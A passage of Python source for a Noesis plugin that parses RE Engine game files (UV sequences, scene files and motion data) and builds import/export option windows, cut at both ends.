wParam, lParam):\n\t\tself.LODDist = float(self.LODEditBox.getText())\n\t\n\tdef selectTexListItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.currentIdx = self.texType.getSelectionIndex()\n\t\tself.texformat = self.indices[self.currentIdx]\n\t\tfilepath = rapi.getOutputName()\n\t\tfilename = rapi.getExtensionlessName(filepath)\n\t\tself.outputFileName = filepath.replace(filename, filename + \".\" + str(self.texformat))\n\t\tprint(self.outputFileName)\n\t\t\n\tdef selectSourceListItem(self, noeWnd, controlId, wParam, lParam):\n\t\tself.currentIdx = self.meshFileList.getSelectionIndex()\n\t\tif self.sourceList and self.currentIdx:\n\t\t\tself.filepath = self.sourceList[self.currentIdx]\n\t\n\tdef clearComboBoxList(self, list_object=None):\n\t\t#list_object = list_object or self.meshFileList\n\t\tfor item in self.sourceList:\n\t\t\tself.meshFileList.removeString(item)\n\t\t#list_object.resetContent()\n\t\t\n\tdef setComboBoxList(self, list_object=None, current_item=None):\n\t\tfor item in self.sourceList:\n\t\t\tself.meshFileList.addString(item)\n\t\tself.meshFileList.selectString(current_item)\n\t\tself.currentIdx = self.meshFileList.getSelectionIndex()\n\t\n\tdef create(self, width=None, height=None):\n\t\twidth = width or self.width\n\t\theight = height or self.height\n\t\tself.noeWnd = noewin.NoeUserWindow(\"RE Engine MESH Options\", \"HTRAWWindowClass\", width, height) \n\t\tnoeWindowRect = noewin.getNoesisWindowRect()\n\t\tif noeWindowRect:\n\t\t\twindowMargin = 100\n\t\t\tself.noeWnd.x = noeWindowRect[0] + windowMargin\n\t\t\tself.noeWnd.y = noeWindowRect[1] + windowMargin \n\t\treturn self.noeWnd.createWindow()\n\t\t\n\tdef createMeshWindow(self, width=None, height=None):\n\t\twidth = width or self.width\n\t\theight = height or self.height\n\t\tif self.create(width, height):\n\t\t\trow1_y = 0\n\t\t\trow2_y = 30\n\t\t\texportRow_y = 60\n\t\t\t#row4_y = 100\n\t\t\tself.noeWnd.setFont(\"Futura\", 14)\n\t\t\t\n\t\t\t#self.noeWnd.createStatic(\"Export Over Mesh\", 5, row1_y, 140, 20)\n\t\t\t#index = self.noeWnd.createEditBox(5, 25, width-20, 20, self.filepath, self.inputMeshFileEditBox)\n\t\t\t#self.meshFile = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tindex = self.noeWnd.createCheckBox(\"VFX Mesh\", 5, row1_y, 80, 30, self.openOptionsVFXCheckbox)\n\t\t\tself.vfxCheckbox = self.noeWnd.getControlByIndex(index)\n\t\t\tself.vfxCheckbox.setChecked(self.doVFX)\n\t\t\t\n\t\t\tindex = self.noeWnd.createComboBox(5, row2_y, width-20, 20, self.selectSourceListItem, noewin.CBS_DROPDOWNLIST)\n\t\t\tself.meshFileList = self.noeWnd.getControlByIndex(index)\n\t\t\tself.setComboBoxList(self.meshFileList, self.filepath)\n\t\t\t\n\t\t\tself.noeWnd.createButton(\"Browse\", 5, exportRow_y, 80, 30, self.openBrowseMenu)\n\t\t\tif rapi.checkFileExists(self.filepath):\n\t\t\t\tself.noeWnd.createButton(\"Export\", width-416, exportRow_y, 80, 30, self.openOptionsButtonExport)\n\t\t\t\tself.noeWnd.createButton(\"Export New Bones\", width-326, exportRow_y, 130, 30, self.openOptionsButtonExportBones)\n\t\t\tself.noeWnd.createButton(\"Rewrite\", width-186, exportRow_y, 80, 30, self.openOptionsButtonRewrite)\n\t\t\tself.noeWnd.createButton(\"Cancel\", width-96, exportRow_y, 80, 30, self.openOptionsButtonCancel)\n\t\t\t\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"Rewrite Options:\", 450, 100, 140, 20)\n\t\t\tself.noeWnd.createStatic(\"Flag:\", 5, 130, 140, 20)\n\t\t\tindex = self.noeWnd.createEditBox(45, 125, 40, 30, \"\", self.inputFlagEditBox, False)\n\t\t\tself.FlagBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.createStatic(\"LOD0 Factor:\", 775, 130, 140, 20)\n\t\t\tindex = self.noeWnd.createEditBox(885, 125, 100, 30, str(self.LODDist), self.inputLODDistEditBox, False)\n\t\t\tself.LODEditBox = self.noeWnd.getControlByIndex(index)\n\t\t\t\n\t\t\tself.noeWnd.doModal()\n\t\telse:\n\t\t\tprint(\"Failed to create Noesis Window\")\n\t\t\tself.failed = True\n\t\t\t\n\tdef createTexWindow(self, width=None, height=None):\n\t\twidth = width or self.width\n\t\theight = height or self.height\n\t\tif self.create(width, height):\n\t\t\tindex = self.noeWnd.createComboBox(5, 5, 180, 20, self.selectTexListItem, noewin.CBS_DROPDOWNLIST)\n\t\t\tself.texType = self.noeWnd.getControlByIndex(index)\n\t\t\tfor fmt in tex_format_list:\n\t\t\t\tfmtName = tex_format_list[fmt]\n\t\t\t\tself.texType.addString(fmtName)\n\t\t\t\tself.indices.append(fmt)\n\t\t\t\tif fmt == self.texformat:\n\t\t\t\t\tself.texType.selectString(fmtName)\n\t\t\t\t\tself.currentIdx = len(self.indices)\n\t\t\tself.noeWnd.createButton(\"Import\", 190, 5, 80, 30, self.openOptionsButtonImport)\n\t\t\tself.noeWnd.createButton(\"Cancel\", 190, 40, 80, 30, self.openOptionsButtonCancel)\n\t\t\tself.noeWnd.doModal()\n\t\telse:\n\t\t\tprint(\"Failed to create Noesis Window\")\n\t\t\tself.failed = True\n\t\t\t\ndef UVSLoadModel(data, mdlList):\n\tglobal sGameName\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\ttextureNum = bs.readUInt()\n\tsequenceNum = bs.readUInt()\n\tpatternNum = bs.readUInt()\n\tattribute = bs.readUInt()\n\treserve = bs.readUInt()\n\ttexturePtr = bs.readUInt64()\n\tsequencePtr = bs.readUInt64()\n\t\n\tpatternPtr = bs.readUInt64()\n\tstringPtr = bs.readUInt64()\n\t\t\n\tuvsTexList = []\n\tuvsMatList = []\n\ttextures = []\n\t\n\tbs.seek(texturePtr)\n\ttexFile = \"\"\n\tsGameName = \"RE2\"\n\text = \".10\"\n\taspectRatios = []\n\tfor i in range(textureNum):\n\t\taspectRatios.append((1,1))\n\t\tmStateHolder = bs.readUInt64()\n\t\tmDataPtr = bs.readUInt64()\n\t\tmTextureHandleTbl = [bs.readUInt64(), bs.readUInt64(), bs.readUInt64()]\n\t\tName = readUnicodeStringAt(bs, stringPtr + mDataPtr * 2)\n\t\ttextures.append([mStateHolder, mDataPtr, mTextureHandleTbl, Name])\n\t\t\n\t\tif texFile != 0:\n\t\t\ttexFile, ext = forceFindTexture(Name, ext)\n\t\t\tif texFile != 0:\n\t\t\t\ttextureData = rapi.loadIntoByteArray(texFile)\n\t\t\t\tmatName = rapi.getExtensionlessName(rapi.getExtensionlessName(rapi.getLocalFileName(texFile)))\n\t\t\t\tnoetex = texLoadDDS(textureData, uvsTexList, matName)\n\t\t\t\tif noetex:\n\t\t\t\t\taspectRatios[len(aspectRatios)-1] = (noetex.width / noetex.height, 1)\n\t\t\t\t\tnoetex.name = matName\n\t\t\t\t\tuvsMatList.append(NoeMaterial(matName, texFile)) \n\t\n\tbs.seek(sequencePtr)\n\t\n\tfor i in range(sequenceNum):\n\t\tctx = rapi.rpgCreateContext()\n\t\t#print (\"sequence\", bs.tell())\n\t\tpatternCount = bs.readUInt()\n\t\tpatternTbl = bs.readUInt()\n\t\tpos = bs.tell()\n\t\t\n\t\tUVs = []\n\t\tpatterns = []\n\t\tbs.seek(patternPtr + patternTbl*32)\n\t\tfor j in range(patternCount):\n\t\t\t#print(\"sequence at\", bs.tell())\n\t\t\tuvTrans = bs.readUInt64()\n\t\t\ttop = bs.readFloat()\n\t\t\tleft = bs.readFloat()\n\t\t\tbottom = bs.readFloat()\n\t\t\tright = bs.readFloat()\n\t\t\ttextureIndex = bs.readInt()\n\t\t\tcutoutUVCount = bs.readInt()\n\t\t\tpatterns.append([uvTrans, left, top, right, bottom, textureIndex, cutoutUVCount])\n\t\t\ttopLeft = (top, left, 0)\n\t\t\tbottomLeft = (bottom, left, 0)\n\t\t\ttopRight = (top, right, 0)\n\t\t\tbottomRight = (bottom, right, 0)\n\t\t\tUVs = [topLeft, bottomRight, bottomLeft, topRight, bottomRight, topLeft]\n\t\t\tcutOutUVs = []\n\t\t\tfor k in range(cutoutUVCount):\n\t\t\t\tcutoutUV = (bs.readFloat(), bs.readFloat(), 0)\n\t\t\t\tcutOutUVs.append(cutoutUV)\n\t\t\tcutOutUVsFaces = []\n\t\t\tfor k in range(len(cutOutUVs)):\n\t\t\t\tif k == len(cutOutUVs) - 2:\n\t\t\t\t\tcutOutUVsFaces.extend([cutOutUVs[k], cutOutUVs[k+1], cutOutUVs[0]])\n\t\t\t\telif k == len(cutOutUVs) - 1:\n\t\t\t\t\tcutOutUVsFaces.extend([cutOutUVs[k], cutOutUVs[0], cutOutUVs[1]])\n\t\t\t\telse:\n\t\t\t\t\tcutOutUVsFaces.extend([cutOutUVs[k], cutOutUVs[k+1], cutOutUVs[k+2]])\n\t\t\tUVs.extend(cutOutUVsFaces)\n\t\t\trapi.rpgSetTransform((NoeVec3((1,0,0)), NoeVec3((0,-1,0)), NoeVec3((0,0,-1)), NoeVec3((0,0,0)))) \n\t\t\trapi.rpgSetName(\"Sequence\" + str(i) + \"_Pattern_\" + str(j))\n\t\t\tif len(uvsMatList) > textureIndex:\n\t\t\t\trapi.rpgSetMaterial(uvsMatList[textureIndex].name)\n\t\t\trapi.immBegin(noesis.RPGEO_TRIANGLE)\n\t\t\t#print (\"AR is\", aspectRatios[textureIndex][0], aspectRatios[textureIndex][1])\n\t\t\tfor k in range(0, len(UVs)):\n\t\t\t\tstretched = [UVs[k][0] * aspectRatios[textureIndex][0], UVs[k][1] * aspectRatios[textureIndex][1], 0]\n\t\t\t\trapi.immUV2(UVs[k])\n\t\t\t\trapi.immVertex3(stretched)\n\t\t\trapi.immEnd()\n\t\t\t\n\t\tmdl = rapi.rpgConstructModel()\n\t\tif uvsTexList and uvsMatList:\n\t\t\tmdl.setModelMaterials(NoeModelMaterials(uvsTexList, uvsMatList)) \n\t\tmdlList.append(mdl)\n\t\trapi.rpgClearBufferBinds() \n\t\t\n\t\tbs.seek(pos)\n\treturn 1\n\ndef SCNCheckType(data):\n\tbs = NoeBitStream(data)\n\tmagic = bs.readUInt()\n\tif magic == 5129043:\n\t\treturn 1\n\telse: \n\t\tprint(\"Fatal Error: Unknown file magic: \" + str(hex(magic) + \" expected 'SCN '!\"))\n\t\treturn 0\n\ndef SCNLoadModel(data, mdlList):\n\t\n\tglobal sGameName\n\tfName = rapi.getInputName().upper()\n\tguessedName = \"RE8\" if \"RE8\" in fName else \"RE7\" if \"RE7\" in fName else \"RE2\" if \"RE2\" in fName else \"RE3\" if \"RE3\" in fName else \"RE7\" if \"RE7\" in fName \\\n\telse \"SF6\" if \"SF6\" in fName else \"MHRise\" if \"MHRISE\" in fName else \"RE4\" if \"RE4\" in fName else \"ExoPrimal\" if (\"EXO\" in fName or \"EXP\" in fName) else \"DMC5\"\n\tguessedName = guessedName + \"RT\" if (guessedName + \"RT\") in fName else guessedName\n\tmsg = ''.join([name + \", \" for name, formatList in formats.items()])\n\tinputName = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"SCN Import\", \"Input the game name: \" + msg, guessedName, None)\n\tif not inputName: \n\t\treturn 0\n\t#inputName = inputName.upper()\n\tisRTRemake = (inputName != \"RE7RT\" and \"RT\" in inputName)\n\tinputName = inputName.replace(\"RT\", \"\") if isRTRemake else inputName\n\tif inputName not in formats:\n\t\tprint (\"Not a valid game!\")\n\t\treturn 0\n\tsGameName = inputName\n\tcurrent_pak_location = LoadExtractedDir(sGameName)\n\tsGameName = \"RERT\" if isRTRemake else sGameName\n\t\n\tdef getAlignedOffset(tell, alignment):\n\t\tmask = alignment - 1\n\t\treturn (tell + mask) & ~mask\n\n\tdef readByteAndReturn(bs):\n\t\tout = bs.readByte()\n\t\tbs.seek(-1, 1)\n\t\treturn out\n\n\tdef detectedFloat(bs):\n\t\tif bs.tell() + 4 > bs.getSize():\n\t\t\treturn False\n\t\tflt = abs(bs.readFloat())\n\t\treturn flt == 0 or 0.000000001 <= flt <= 100000000.0\n\n\tdef detectedBools(bs, atAddress):\n\t\treturnPos = bs.tell()\n\t\tbs.seek(atAddress)\n\t\tnonBoolTotal = sum(abs(bs.readByte()) > 1 for i in range(4))\n\t\tbs.seek(returnPos)\n\t\t#print(returnPos, nonBoolTotal)\n\t\treturn nonBoolTotal == 0\n\n\tdef detectedXform(bs):\n\t\tif bs.tell() + 32 >= bs.getSize():\n\t\t\treturn False\n\t\treturnPos = bs.tell()\n\t\tbs.seek(getAlignedOffset(returnPos, 16))\n\t\tdetected = all(detectedFloat(bs) for i in range(12) if i < 3 or i > 7)\n\t\tbs.seek(returnPos)\n\t\treturn detected\n\t\n\tdef checkByteIsUnicodeAlt(bs):\n\t\taltByte = bs.readUByte()\n\t\treturn altByte == 0 or 30 <= altByte <= 150 #try to detect Japanese\n\t\n\tdef detectedString(bs, offset):\n\t\treturnPos = bs.tell()\n\t\tresult = False\n\t\tbs.seek(offset)\n\t\tif bs.readByte() != 0 and checkByteIsUnicodeAlt(bs) and bs.readByte() != 0 and checkByteIsUnicodeAlt(bs) and bs.readByte() != 0 and checkByteIsUnicodeAlt(bs):\n\t\t\tresult = True\n\t\tbs.seek(returnPos)\n\t\treturn result\n\n\tdef redetectStringBehind(bs, is_second_time):\n\t\tpos = bs.tell()\n\t\tslash_detected = False\n\t\tif detectedString(bs, bs.tell()):\n\t\t\twhile detectedString(bs, bs.tell()):\n\t\t\t\tbs.seek(-2, 1)\n\t\t\t\tslash_detected = slash_detected or ((readByteAndReturn(bs)) == 47)\n\t\t\tbs.seek(-2, 1)\n\t\tif not is_second_time and (detectedString(bs, bs.tell())):\n\t\t\tbs.seek(-10, 1)\n\t\t\tredetectStringBehind(bs, True)\n\t\t\tif not detectedString(bs, bs.tell()+4):\n\t\t\t\tbs.seek(pos)\n\t\tif slash_detected:\n\t\t\tbs.seek(pos)\n\t\n\tviaGameObject = namedtuple('viaGameObject', ['Name', 'Tag', 'DrawSelf', 'UpdateSelf', 'TimeScale'])\n\t\n\tdef readViaGameObject(bs, timescale_offset):\n\t\tbs.seek(getAlignedOffset(bs.tell(), 4)+4)\n\t\tName = ReadUnicodeString(bs)\n\t\tbs.seek(getAlignedOffset(bs.tell(), 4)+4)\n\t\tTag = ReadUnicodeString(bs)\n\t\tDrawSelf = bs.readByte()\n\t\tUpdateSelf = bs.readByte()\n\t\tbs.seek(timescale_offset)\n\t\t#bs.seek(getAlignedOffset(bs.tell(), 4))\n\t\tTimeScale = bs.readFloat()\n\t\treturn viaGameObject(Name, Tag, DrawSelf, UpdateSelf, TimeScale)\n\t\n\tviaTransform = namedtuple('viaTransform', ['LocalPosition', 'LocalRotation', 'LocalScale', 'ParentBoneSize', 'ParentBone', 'SameJointsConstraints', 'AbsoluteScaling'])\n\n\tdef readViaTransform(bs):\n\t\tbs.seek(getAlignedOffset(bs.tell(), 16))\n\t\tLocalPosition = NoeVec3((bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\tbs.seek(4,1)\n\t\tLocalRotation = NoeQuat((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\tLocalScale = NoeVec3((bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\tbs.seek(4,1)\n\t\tbs.seek(getAlignedOffset(bs.tell(), 4))\n\t\tParentBoneSize = bs.readInt()\n\t\tParentBone = ReadUnicodeString(bs)\n\t\tSameJointsConstraints = bs.readByte()\n\t\tAbsoluteScaling = bs.readByte()\n\t\treturn viaTransform(LocalPosition, LocalRotation, LocalScale, ParentBoneSize, ParentBone, SameJointsConstraints, AbsoluteScaling)\n\t\n\tdef findMesh(bs, limitPoint):\n\t\tpos = bs.tell()\n\t\tmeshPath = ReadUnicodeString(bs)\n\t\toutput = [None, None]\n\t\tprint(\"Scanning from\", pos, \"to\", limitPoint, \"for meshes\")\n\t\twhile meshPath.find(\".mesh\") == -1:\n\t\t\tif bs.tell() >= limitPoint: break\n\t\t\twhile not detectedString(bs, bs.tell()):\n\t\t\t\tif bs.tell() >= limitPoint: break\n\t\t\t\tif bs.tell() + 4 > bs.getSize():\n\t\t\t\t\treturn output\n\t\t\t\tbs.seek(4,1)\n\t\t\ttry:\n\t\t\t\tbs.seek(getAlignedOffset(bs.tell()-2, 4))\n\t\t\t\tmeshPath = ReadUnicodeString(bs)\n\t\t\t\tbs.seek(getAlignedOffset(bs.tell()+1, 4))\n\t\t\texcept:\n\t\t\t\tbreak\n\t\tif meshPath.find(\".mesh\") != -1 and meshPath.lower().find(\"occ\") == -1:\n\t\t\tmeshPath = meshPath.replace(\"/\", \"\\\\\")\n\t\t\tmeshPath = current_pak_location + meshPath + formats[sGameName][\"modelExt\"]\n\t\t\tprint(\"Found mesh:\", meshPath, \"\\n\")\n\t\t\tbs.seek(getAlignedOffset(bs.tell(), 4)+4)\n\t\t\tmdfPath = ReadUnicodeString(bs)\n\t\t\tif mdfPath.find(\".mdf2\"):\n\t\t\t\tmdfPath = mdfPath.replace(\"/\", \"\\\\\")\n\t\t\t\tmdfPath = current_pak_location + mdfPath + formats[sGameName][\"mdfExt\"].replace(\".mdf2\", \"\")\n\t\t\toutput = [meshPath, mdfPath]\n\t\treturn output\n\n\tdef findGameObjects(bs):\n\t\tGameObjectAddresses = []\n\t\tGameObjects = []\n\t\tfileSize = bs.getSize()\n\t\tpos = 0\n\t\tbs.seek(0)\n\t\ttester = bs.readUInt()\n\t\twhile tester != 5919570 and bs.tell() + 4 < fileSize: #find \"RSZ\" magic\n\t\t\tbs.seek(-3,1)\n\t\t\ttester = bs.readUInt()\n\t\tif tester == 5919570:\n\t\t\tbs.seek(getAlignedOffset(bs.tell(), 4))\n\t\t\twhile bs.tell() + 4 < fileSize:\n\t\t\t\twhile tester != 3212836864 and bs.tell() + 4 < fileSize: # 00 00 80 BF , timescale -1.0\n\t\t\t\t\ttester = bs.readUInt()\n\t\t\t\tboolSearchPos = bs.tell()-8\n\t\t\t\tfoundBools = detectedBools(bs, bs.tell()-8)\n\t\t\t\tfoundXform = detectedXform(bs)\n\t\t\t\tif pos < fileSize - 16 and foundBools and foundXform:\n\t\t\t\t\tprint (\"\\nFound possible GameObject at \", bs.tell())\n\t\t\t\t\tGameObjectAddresses.append(bs.tell())\n\t\t\t\telse:\n\t\t\t\t\tprint (\"\\nFound possible GameObject at \", bs.tell(), \"but xform:\", foundXform, \"and bools:\", foundBools, boolSearchPos)\n\t\t\t\ttester = bs.readUInt()\n\t\t\t\n\t\t\tif len(GameObjectAddresses) > 0:\n\t\t\t\tGameObjectAddresses.append(fileSize)\n\t\t\t\tfor i in range(len(GameObjectAddresses)-1):\n\t\t\t\t\tbs.seek(GameObjectAddresses[i])\n\t\t\t\t\ttransform = readViaTransform(bs)\n\t\t\t\t\tbs.seek(GameObjectAddresses[i]-28)\n\t\t\t\t\tpos2 = bs.tell()\n\t\t\t\t\twhile not detectedString(bs, bs.tell()) and pos2 - bs.tell() < 12:\n\t\t\t\t\t\tbs.seek(-2,1)\n\t\t\t\t\tif pos2 - bs.tell() == 12:\n\t\t\t\t\t\tbs.seek(pos2)\n\t\t\t\t\tif detectedString(bs, bs.tell()):\n\t\t\t\t\t\tredetectStringBehind(bs, False)\n\t\t\t\t\tst = bs.tell()\n\t\t\t\t\tgameobject = readViaGameObject(bs, GameObjectAddresses[i]-4)\n\t\t\t\t\tif gameobject.Name and abs(gameobject.DrawSelf) <= 1 and abs(gameobject.UpdateSelf) <= 1 and gameobject.TimeScale == -1:\n\t\t\t\t\t\tmeshMDF = findMesh(bs, GameObjectAddresses[i+1])\n\t\t\t\t\t\tGameObjects.append([gameobject, transform, meshMDF[0], meshMDF[1]])\n\t\t\t\t\telif not (abs(gameobject.DrawSelf) <= 1 and abs(gameobject.UpdateSelf) <= 1):\n\t\t\t\t\t\t#print(\"1. Failed to add GameObject at\", st, pos2, abs(gameobject.DrawSelf), abs(gameobject.UpdateSelf), gameobject.TimeScale, gameobject.Name)\n\t\t\t\t\t\tbs.seek(st - 8)\n\t\t\t\t\t\tpos2 = bs.tell()\n\t\t\t\t\t\twhile not detectedString(bs, bs.tell()) and pos2 - bs.tell() < 12:\n\t\t\t\t\t\t\tbs.seek(-2,1)\n\t\t\t\t\t\tif pos2 - bs.tell() == 12:\n\t\t\t\t\t\t\tbs.seek(pos2)\n\t\t\t\t\t\tif detectedString(bs, bs.tell()):\n\t\t\t\t\t\t\tredetectStringBehind(bs, False)\n\t\t\t\t\t\tst = bs.tell()\n\t\t\t\t\t\tgameobject = readViaGameObject(bs, GameObjectAddresses[i]-4)\n\t\t\t\t\t\tif gameobject.Name and abs(gameobject.DrawSelf) <= 1 and abs(gameobject.UpdateSelf) <= 1 and gameobject.TimeScale == -1:\n\t\t\t\t\t\t\tmeshMDF = findMesh(bs, GameObjectAddresses[i+1])\n\t\t\t\t\t\t\tGameObjects.append([gameobject, transform, meshMDF[0], meshMDF[1]])\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"2. Failed to add GameObject at\", st, pos2, abs(gameobject.DrawSelf), abs(gameobject.UpdateSelf), gameobject.TimeScale, gameobject.Name)\n\t\t\t\t\t\t\n\t\tprint(\"Num detected:\", len(GameObjectAddresses), len(GameObjects))\n\t\treturn GameObjects\n\t\n\tss = NoeBitStream(data)\n\tgameObjs = findGameObjects(ss)\n\tctx = rapi.rpgCreateContext()\n\t\n\ttotalTexList = []\n\ttotalMatList = []\n\ttotalBoneList = []\n\ttotalRemapTable = []\n\tids = []\n\tparentIds = []\n\tgameObjsDict = {}\n\t\n\tss.seek(64+16)\n\tfor i in range(readUIntAt(ss, 4)):\n\t\tids.append(ss.readUInt())\n\t\tparentIds.append(ss.readUInt())\n\t\tss.seek(24,1)\n\t\t\n\tcounter = 0\n\tusedNames = {}\n\tprint(\"Expected GameObject count:\", len(parentIds), \", Num found GameObjects:\", len(gameObjs))\n\t#for i, gameObj in enumerate(gameObjs):\n\t#\tprint(i, gameObj)\n\t#return 1\n\t\n\tfor i, tup in enumerate(gameObjs):\n\t\ttry:\n\t\t\tgameObjsDict[ids[i]] = tup\n\t\texcept: \n\t\t\tpass\n\t\tprint(tup)\n\t\tif tup[2] != None and rapi.checkFileExists(tup[2]) and tup[0].Name.find(\"AIMap\") == -1:\n\t\t\tmesh = meshFile(rapi.loadIntoByteArray(tup[2]), tup[2])\n\t\t\tmesh.meshFile = tup[2]\n\t\t\tmesh.mdfFile = tup[3]\n\t\t\tmesh.pos = tup[1].LocalPosition\n\t\t\tmesh.rot = tup[1].LocalRotation\n\t\t\tmesh.scl = tup[1].LocalScale\n\t\t\tif i < len(parentIds):\n\t\t\t\tparentPosition = gameObjsDict[parentIds[i]][1].LocalPosition if parentIds[i] in gameObjsDict else NoeVec3((0,0,0))\n\t\t\t\tparentRotation = gameObjsDict[parentIds[i]][1].LocalRotation if parentIds[i] in gameObjsDict else NoeQuat((0,0,0,1))\n\t\t\t\tmesh.pos *= parentRotation.transpose()\n\t\t\t\tmesh.pos += parentPosition\n\t\t\t\tmesh.rot = parentRotation * mesh.rot\n\t\t\tprint(mesh.pos, mesh.rot)\n\t\t\tmesh.fullTexList = totalTexList\n\t\t\tmesh.fullMatList = totalMatList\n\t\t\tmesh.fullBoneList = totalBoneList\n\t\t\tmesh.fullRemapTable = totalRemapTable\n\t\t\tmesh.name = tup[0].Name\n\t\t\tnameCtr = 1\n\t\t\twhile mesh.name in usedNames:\n\t\t\t\tmesh.name = tup[0].Name + \"#\" + str(nameCtr)\n\t\t\t\tnameCtr += 1\n\t\t\tusedNames[mesh.name] = True\n\t\t\tmesh.loadMeshFile()\n\t\t\tcounter += 1\n\t#return 1\n\ttry:\n\t\tmdl = rapi.rpgConstructModelAndSort()\n\t\tmdl.setModelMaterials(NoeModelMaterials(totalTexList, totalMatList))\n\texcept:\n\t\tmdl = NoeModel()\n\t\t\n\tmdl.setBones(totalBoneList)\n\tcollapseBones(mdl)\n\t\t\n\tmdlList.append(mdl)\n\tprint(\"\\nLoaded\", counter, \"MESH files comprised of\", len(mdl.meshes), \"submeshes\")\n\t\n\treturn 1\n\t\nBoneHeader = namedtuple(\"BoneHeader\", \"name pos rot index parentIndex hash mat\")\n\nBoneClipHeader = namedtuple(\"BoneClipHeader\", \"boneIndex trackFlags boneHash trackHeaderOffset\")\n\nBoneTrack = namedtuple(\"BoneTrack\", \"flags keyCount frameRate maxFrame frameIndOffs frameDataOffs unpackDataOffs\")\n\nUnpacks = namedtuple(\"Unpacks\", \"max min\")\n\nUnpackVec = namedtuple(\"UnpackVec\", \"x y z w\")\n\ndef readPackedBitsVec3(packedInt, numBits):\n\tlimit = 2**numBits-1\n\tx = ((packedInt >> 0) \t\t & limit) / limit\n\ty = ((packedInt >> (numBits*1)) & limit) / limit\n\tz = ((packedInt >> (numBits*2)) & limit) / limit\n\treturn NoeVec3((x, y, z))\n\t\ndef convertBits(packedInt, numBits):\n\treturn packedInt / (2**numBits-1)\t\n\ndef skipToNextLine(bs):\n\tbs.seek(bs.tell() + 16 - (bs.tell() % 16))\n\ndef wRot(quat3):\n\tRotationW = 1.0 - (quat3[0] * quat3[0] + quat3[1] * quat3[1] + quat3[2] * quat3[2]);\n\tif RotationW > 0:\n\t\treturn math.sqrt(RotationW)\n\treturn 0\n\nclass motFile:\n\t\n\tdef __init__(self, dataBytesArray, motlist=[], start=0):\n\t\tself.bs = NoeBitStream(dataBytesArray)\n\t\tbs = self.bs\n\t\tself.start = start\n\t\tself.anim = None\n\t\tself.frameCount = 0\n\t\tself.motlist = motlist\n\t\tself.bones = []\n\t\tself.version = bs.readUInt()\n\t\tbs.seek(12)\n\t\tself.motSize = bs.readUInt()\n\t\tself.offsToBoneHdrOffs = bs.readUInt64()\n\t\tself.boneHdrOffset = 0\n\t\tself.boneClipHdrOffset = bs.readUInt64()\n\t\tbs.seek(8,1)\n\t\tif self.version >= 456:\n\t\t\tbs.seek(8,1)\n\t\t\tclipFileOffset = bs.readUInt64()\n\t\t\tjmapOffset = bs.readUInt64()\n\t\t\texDataOffset = bs.readUInt64()\n\t\t\tbs.seek(16,1)\n\t\telse:\n\t\t\tself.jmapOffset = bs.readUInt64()\n\t\t\tself.clipFileOffset = bs.readUInt64()\n\t\t\tbs.seek(16,1)\n\t\t\tself.exDataOffset = bs.readUInt64()\n\t\tnameOffs = bs.readUInt64()\n\t\tself.name = readUnicodeStringAt(bs, nameOffs)\n\t\tself.frameCount = bs.readFloat()\n\t\tself.name += \" (\" + str(int(self.frameCount)) + \" frames)\"\n\t\tself.blending = bs.readFloat()\n\t\tself.uknFloat0 = bs.readFloat()\n\t\tself.uknFloat0 = bs.readFloat()\n\t\tself.boneCount = bs.readShort()\n\t\tself.boneClipCount = bs.readShort()\n\t\tself.clipCount = bs.readByte()\n\t\tself.uknCount = bs.readByte()\n\t\tself.frameRate = bs.readShort()\n\t\tself.uknCount2 = bs.readShort()\n\t\tself.ukn3 = bs.readShort()\n\t\tself.boneHeaders = []\n\t\tself.boneClipHeaders = []\n\t\tself.kfBones = []\n\t\tself.doSkip = False\n\t\t\n\tdef checkIfSyncMot(self, other):\n\t\treturn (self.frameCount == other.frameCount)\n\t\t'''if self.frameCount == other.frameCount:\n\t\t\tboneNames = [self.motlist.bones[kfBone.boneIndex].name.lower() for kfBone in self.kfBones]\n\t\t\totherBoneNames = [other.motlist.bones[kfBone.boneIndex].name.lower() for kfBone in other.kfBones]\n\t\t\tcounter = 0\n\t\t\tfor boneName in boneNames:\n\t\t\t\tif boneName in otherBoneNames:\n\t\t\t\t\tcounter += 1\n\t\t\treturn (counter / len(boneNames) < 0.25)'''\n\t\t\t\t\n\t\n\tdef readFrame(self, ftype, flags, unpacks):\n\t\tbs = self.bs\n\t\tcompression = flags & 0xFF000\n\t\tif ftype==\"pos\" or ftype==\"scl\":\n\t\t\tdefScaleVec = NoeVec3((fDefaultMeshScale, fDefaultMeshScale, fDefaultMeshScale))\n\t\t\tif compression == 0x00000:\n\t\t\t\toutput = NoeVec3((bs.readFloat(), bs.readFloat(), bs.readFloat())) * defScaleVec\n\t\t\telif compression == 0x20000:\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUShort(), 5)\n\t\t\t\tif self.version <= 65:\n\t\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.z, unpacks.max.y * rawVec[2] + unpacks.min.z)) * defScaleVec\n\t\t\t\telse:\n\t\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + unpacks.max.w, unpacks.max.y * rawVec[1] + unpacks.min.x, unpacks.max.z * rawVec[2] + unpacks.min.y)) * defScaleVec\n\t\t\telif compression == 0x24000:\n\t\t\t\tx = y = z = unpacks.max.x * convertBits(bs.readUShort(), 16) + unpacks.min.x\n\t\t\t\toutput = NoeVec3((x, y, z)) * defScaleVec\n\t\t\telif compression == 0x44000:\n\t\t\t\tx = y = z = unpacks.max.x * bs.readFloat() + unpacks.min.x\n\t\t\t\toutput = NoeVec3((x, y, z)) * defScaleVec\n\t\t\telif compression == 0x40000 or (compression == 0x30000 and self.version <= 65):\n\t\t\t\trawVec = readPackedBitsVec3(bs.readUInt(), 10)\n\t\t\t\tif self.version <= 65:\n\t\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + unpacks.min.x, unpacks.max.y * rawVec[1] + unpacks.min.y, unpacks.max.z * rawVec[2] + unpacks.min.z)) * defScaleVec\n\t\t\t\telse:\n\t\t\t\t\toutput = NoeVec3((unpacks.max.x * rawVec[0] + 